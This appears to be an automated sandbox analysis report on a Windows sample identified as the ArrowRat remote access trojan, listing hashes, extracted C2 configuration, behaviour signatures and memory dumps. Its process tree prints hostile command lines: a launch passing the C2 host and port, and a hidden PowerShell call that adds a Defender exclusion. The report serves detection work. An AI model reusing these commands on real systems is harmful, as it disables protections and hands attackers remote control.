Overview

overview

10

Static

static

10

Client.exe

windows10-2004-x64

10

Client.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 23:26

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General

  • Target
    Client.exe
  • Size 157KB
  • Sample260809-3e1bgsxdjd
  • SHA256 f902c427484c65c3bcd1543072e4c53da376a7ba6151fb6d1ccd990bb7a94be2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
clientdiscoveryexecutionarrowratpersistenceransomwarerat

Malware Config

Extracted

Family

  • arrowrat

Botnet

  • Client

C2

  • 194.ip.ply.gg:54552

Mutex

  • oWzurbWMF

Signatures

  • Family: ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 43 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 41 IoCs
  • Suspicious use of FindShellTrayWindow 40 IoCs
  • Suspicious use of SendNotifyMessage 37 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5732
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1048
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 oWzurbWMF
      2⤵
        PID:2384
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 194.ip.ply.gg 54552 oWzurbWMF
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4744
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ClTTUeEWx\Client'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2708
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1288

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 562B
          • SHA256 2a2e893cf659e7fb79658057731b9c3ad4b4652bb26944c9fad23c147af1707c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 595B
          • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1288-60-0x000001BB83EA0000-0x000001BB83FA0000-memory.dmp
          Download

          memory/1288-59-0x000001BB838B0000-0x000001BB838D0000-memory.dmp
          Download

          memory/1288-71-0x000001BB83C10000-0x000001BB83C30000-memory.dmp
          Download

          memory/1288-52-0x000001BB801E0000-0x000001BB802E0000-memory.dmp
          Download

          memory/1288-97-0x000001BB941B0000-0x000001BB941D0000-memory.dmp
          Download

          memory/1940-11-0x0000021CFC040000-0x0000021CFC765000-memory.dmp
          Download

          memory/2708-235-0x00000259B8850000-0x00000259B8B55000-memory.dmp
          Download

          memory/2708-226-0x00000259B8850000-0x00000259B8B55000-memory.dmp
          Download

          memory/2708-221-0x00000259B8850000-0x00000259B8B55000-memory.dmp
          Download

          memory/2708-220-0x00000259B8B60000-0x00000259B8CD6000-memory.dmp
          Download

          memory/2708-219-0x00000259B8850000-0x00000259B8B55000-memory.dmp
          Download

          memory/4656-43-0x000001B7C64F0000-0x000001B7C65A2000-memory.dmp
          Download

          memory/4656-20-0x000001B7ADFE0000-0x000001B7AE002000-memory.dmp
          Download

          memory/4656-42-0x000001B7AE1B0000-0x000001B7AE1CE000-memory.dmp
          Download

          memory/4656-45-0x000001B7AE1D0000-0x000001B7AE1DA000-memory.dmp
          Download

          memory/4744-14-0x00000000061B0000-0x0000000006216000-memory.dmp
          Download

          memory/4744-10-0x0000000005450000-0x00000000054EC000-memory.dmp
          Download

          memory/4744-9-0x0000000005350000-0x00000000053E2000-memory.dmp
          Download

          memory/4744-19-0x0000000006470000-0x00000000064C0000-memory.dmp
          Download

          memory/4744-12-0x0000000005BF0000-0x00000000061AA000-memory.dmp
          Download

          memory/4744-3-0x0000000000400000-0x0000000000418000-memory.dmp
          Download

          memory/5732-1-0x0000000000450000-0x000000000047C000-memory.dmp
          Download

          memory/5732-2-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-0-0x00007FF83E9BF000-0x00007FF83E9C0000-memory.dmp
          Download

          memory/5732-215-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-13-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-5-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-8-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-6-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download

          memory/5732-7-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp
          Download